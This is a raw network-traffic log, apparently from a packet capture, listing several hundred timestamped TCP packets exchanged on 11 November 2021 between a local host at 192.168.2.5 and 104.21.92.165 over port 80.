Nov 11, 2021 22:25:26.445971012 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.445996046 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.446011066 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.446043015 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.446048975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.446089983 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.446115017 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.446130991 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.446168900 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.446193933 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.446196079 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.446244955 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.447925091 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.447968006 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.448009014 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.448048115 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.448084116 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.448086977 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.448126078 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.458687067 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.458745956 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.458858967 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.461208105 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.461287975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.461323977 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.462657928 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.462728977 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.462779045 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.462829113 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.462877989 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.462929010 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.462975979 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463026047 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463074923 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463123083 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463167906 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463216066 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463263988 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463313103 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463360071 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463406086 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463454008 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463501930 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463551044 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463601112 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463629961 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463710070 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463759899 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463809967 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463859081 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463908911 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.463954926 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464003086 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464051008 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464101076 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464149952 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464196920 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464246035 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464294910 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464344025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464391947 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464442015 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464493990 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464545965 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464596033 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464646101 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464695930 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464747906 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464797020 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464845896 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464932919 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.464977026 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.464998960 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465060949 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465079069 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465084076 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465121031 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465182066 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465214014 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465244055 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465307951 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465333939 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465370893 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465431929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465481997 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465492964 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465544939 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465557098 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465620995 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465683937 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465750933 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465809107 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465821981 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465869904 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465930939 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.465946913 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.465998888 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466057062 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466059923 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466114044 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466169119 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466172934 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466233015 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466288090 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466290951 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466344118 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466386080 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466398001 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466432095 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466468096 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466479063 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466507912 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466546059 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466551065 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466588020 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466626883 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466629982 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466665983 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466708899 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466721058 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466756105 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466795921 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466835976 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466864109 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466871977 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466875076 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466916084 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466952085 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.466979027 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.466993093 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467036963 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467076063 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467080116 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467117071 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467139006 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467156887 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467200041 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467205048 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467241049 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467282057 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467324018 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467333078 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467365026 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467369080 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467406034 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467447042 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467484951 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467535973 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467566967 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467577934 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467616081 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467655897 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467683077 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467698097 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467701912 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467737913 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467778921 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467782974 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467818022 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467858076 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467897892 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467922926 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467933893 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.467943907 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.467973948 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468014956 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468036890 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468055010 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468092918 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468111992 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468132973 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468173027 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468173981 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468215942 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468255043 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468296051 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468297005 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468338013 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468370914 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468379021 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468416929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468419075 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468472004 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468508959 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468528032 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468544960 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468581915 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468592882 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468619108 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468699932 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468724012 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468744040 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468785048 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468797922 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468822956 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468837976 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468863964 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468883038 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468921900 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468945980 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.468962908 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.468966007 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469002008 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469003916 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469038963 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469069004 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469077110 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469093084 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469114065 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469122887 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469151974 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469183922 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469189882 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469208956 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469228029 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469235897 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469268084 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469278097 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469310045 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469350100 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469355106 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469388008 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469392061 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469425917 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469435930 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469466925 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469491005 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469506025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469511986 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469543934 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469544888 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469584942 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469604969 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469624043 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469629049 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469662905 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469667912 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469706059 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.469707966 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.469743013 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.475389004 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.475435019 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.475476027 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.475486040 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.475517035 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.475517035 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.475558043 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.475558043 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.475600004 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.475642920 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.475688934 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.475697041 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.477869987 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.479938030 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486280918 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486315966 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486342907 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486367941 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486387968 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486393929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486407995 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486418962 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486428022 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486443043 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486452103 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486468077 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486475945 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486495018 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486506939 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486520052 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486526966 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486545086 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486550093 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486571074 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486571074 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486596107 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486597061 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486618996 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486619949 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486641884 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486644983 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486668110 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486670971 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486687899 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486697912 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486725092 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486732006 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486749887 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486763954 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486776114 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486784935 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486800909 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486804962 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486828089 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486829042 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486851931 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486852884 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486876965 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486879110 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486902952 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486905098 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486921072 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486932039 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486943007 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486958027 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486972094 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.486984015 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.486995935 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487009048 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487020016 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487034082 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487060070 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487078905 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487086058 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487107992 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487112999 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487124920 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487138033 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487159014 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487164021 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487189054 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487194061 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487215042 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487217903 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487237930 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487240076 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487263918 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487265110 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487287998 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487288952 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487308025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487314939 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487330914 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487335920 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487355947 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487358093 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487379074 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487381935 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.487404108 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.487406969 CET	80	49775	104.21.92.165	192.168.2.5
